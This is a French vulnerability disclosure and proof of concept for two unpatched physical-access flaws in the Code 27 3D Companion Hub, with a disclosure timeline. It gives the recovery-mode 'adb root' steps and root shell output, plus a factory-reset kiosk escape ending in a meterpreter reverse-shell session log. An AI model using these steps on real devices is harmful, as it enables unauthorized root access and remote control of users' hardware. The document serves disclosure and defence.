Preuve de concept pour CVE-2026-36027 et CVE-2026-36028
Le Code 27 3D Companion Hub est un périphérique physique de bureau qui affiche un personnage IA personnalisé (un « Codie ») sous forme de compagnon 3D animé. Les utilisateurs peuvent télécharger ou créer n'importe quel modèle 3D, et l'IA multimodale permet au personnage de voir son environnement, de lire le ton et le langage corporel, et de mener des conversations ouvertes.
Ce rapport couvre deux vulnérabilités qui nécessitent un accès physique à l'appareil. Toutes deux ont été validées sur la version ci-dessous et, au moment de la publication, ne sont pas corrigées.
| Champ | Valeur |
|---|---|
| Produit | Code 27 3D Companion Hub |
| Version de l'interface Companion Hub | 1.2.0 |
| SoC / carte | Rockchip RK3588S (rk3588s_yt921) |
| OS | Android 12 |
| ID de version | SQ3A.220705.003.A1 |
| Empreinte complète | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Type de version | userdebug / release-keys |
Le firmware livré est une version userdebug (visible dans la bannière de recovery et dans ro.build.display.id). Les versions userdebug permettent de redémarrer adbd en tant que root via adb root, ce qui est un facteur clé pour l'existence de CVE-2026-36027.
Un attaquant physiquement proche peut démarrer le Companion Hub en recovery Android et obtenir un shell ADB avec privilèges root (uid=0, contexte SELinux u:r:su:s0). Parce que l'appareil est livré avec une version userdebug, adbd peut être redémarré en tant que root avec adb root, donnant à l'attaquant une interaction en lecture/écriture avec l'environnement de recovery, la possibilité d'énumérer les propriétés du build et du matériel, ainsi que l'accès aux fonctions de recovery (sideload, fastboot, opérations sur les partitions).
L'accès obtenu se trouve dans le ramdisk de recovery, pas dans l'environnement Android en cours d'exécution. Lors des tests, l'action de recovery « Mount /system » a échoué (libfs_mgr n'a pas pu ouvrir /dev/block/by-name/system), donc la partition système n'a pas été montée directement via ce chemin, et l'environnement utilisateur démarré, avec le kiosque et les données utilisateur déchiffrées, n'est pas présenté dans ce mode.
Cela a quand même de l'importance car l'accès root à l'environnement de recovery est le fondement pour modifier l'état persistant de l'appareil (par exemple, écrire sur des partitions ou appliquer un package de mise à jour modifié) de sorte que du code contrôlé par l'attaquant puisse s'exécuter lors d'un démarrage normal ultérieur, établissant ainsi un point d'appui sur l'appareil en fonctionnement.
Mount /system, mettez-le en surbrillance et confirmez. Il semblera échouer. C'est normal et l'exploit fonctionne toujours. (Le journal de recovery indique que libfs_mgr n'a pas pu ouvrir /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr--x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
Une réinitialisation d’usine effectuée depuis le menu de recovery efface la partition userdata, où les applications du kiosque sont installées. Comme le kiosque ne fait pas partie de la partition système, il n’est pas restauré au redémarrage, et l’appareil démarre dans un environnement Android standard et non restreint (lanceur, navigateur web, gestionnaire de fichiers, paramètres et autres applications système).
Depuis cet environnement non restreint, un attaquant peut réactiver les options de développement / le débogage USB, sideloader un APK arbitraire et l’exécuter pour obtenir un shell sur le système d’exploitation en fonctionnement. Lors des tests, cela a produit une session meterpreter s’exécutant sous l’utilisateur applicatif non privilégié u0_a79 – un contexte de privilège et de données différent du shell root en mode recovery de CVE-2026-36027, car elle s’exécute sur le système d’exploitation actif plutôt que sur le ramdisk de recovery. Le code installé et exécuté dans cet état s’exécute dans le cadre du fonctionnement normal de l’appareil, donnant à l’attaquant un contrôle interactif de l’appareil et de son système de fichiers accessible à l’utilisateur.
Wipe data/factory reset et confirmez l’effacement.
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500
meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 acct
040554/r-xr-xr-- 480 dir 1969-12-31 19:00:03 -0500 apex
040110/--x--x--- 8192 dir 2008-12-31 19:00:00 -0500 bin
000000/--------- 0 fif 1969-12-31 19:00:00 -0500 bugreports
040000/--------- 4096 dir 1969-12-31 19:00:04 -0500 cache
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 config
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 d
040110/--x--x--- 4096 dir 2026-02-03 01:27:34 -0500 data
040000/--------- 120 dir 1969-12-31 19:00:04 -0500 data_mirror
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 debug_ramdisk
040554/r-xr-xr-- 1760 dir 2026-02-03 01:27:34 -0500 dev
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 etc
100554/r-xr-xr-- 1997584 fil 2008-12-31 19:00:00 -0500 init
100000/--------- 463 fil 2008-12-31 19:00:00 -0500 init.environ.rc
040554/r-xr-xr-- 240 dir 1969-12-31 19:00:03 -0500 linkerconfig
040000/--------- 16384 dir 2008-12-31 19:00:00 -0500 lost+found
040554/r-xr-xr-- 4096 dir 1969-12-31 19:00:04 -0500 metadata
040554/r-xr-xr-- 360 dir 1969-12-31 19:00:05 -0500 mnt
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm_dlkm
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 oem
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 postinstall
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 proc
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 product
040776/rwxrwxrw- 3452 dir 2026-02-03 01:27:39 -0500 sdcard
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 second_stage_resources
040110/--x--x--- 80 dir 1969-12-31 19:00:04 -0500 storage
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 sys
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 system
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 system_ext
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 vendor
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 vendor_dlkm
| Date | Événement |
|---|
| 2026-02-17 | Les deux vulnérabilités ont été divulguées à l’équipe Code 27 et confirmées. |
| 2026-02-17 | Les deux vulnérabilités zero-day ont été signalées à MITRE. |
| 2026-02-18 | L’équipe Code 27 a discuté d’un plan de résolution, a recueilli des informations supplémentaires et a déclaré qu’elles seraient corrigées. |
| 2026-06-15 | MITRE attribue les identifiants CVE-2026-36027 et CVE-2026-36028. |
| 2026-06-15 | Code 27 a été informé de l’attribution ; le contact initial transmet les informations à l’équipe de sécurité pour examen de la version. |
| 2026-06-16 | L’équipe de sécurité de Code 27 demande à nouveau les détails techniques complets. |
| 2026-06-17 | Les détails techniques complets sont fournis à l’équipe de sécurité, une nouvelle fois. |
| 2026-06-18 | Aucune réponse de l’équipe de sécurité. |
| 2026-06-19 | Un représentant de Code 27 déclare que les entreprises disposent généralement de 90 jours pour résoudre les problèmes de sécurité et que l’équipe de sécurité est déjà au courant. Le représentant est informé que les problèmes ont été signalés il y a plus de 120 jours. Une date limite de divulgation au 1er juillet est fixée. |
| 2026-06-25 | L’équipe de sécurité de Code 27 est contactée pour confirmer le dernier avertissement concernant la date limite et la publication. |
| 2026-06-28 | Code 27 s’excuse, confirme les identifiants CVE et la date limite de divulgation, et déclare qu’un avis public et un lien seront envoyés avant le 1er juillet. |
| 2026-07-01 | Code 27 est contacté au sujet de l’état de l’avis ; aucune réponse. |
| 2026-07-02 | Les détails des vulnérabilités non corrigées sont publiés. |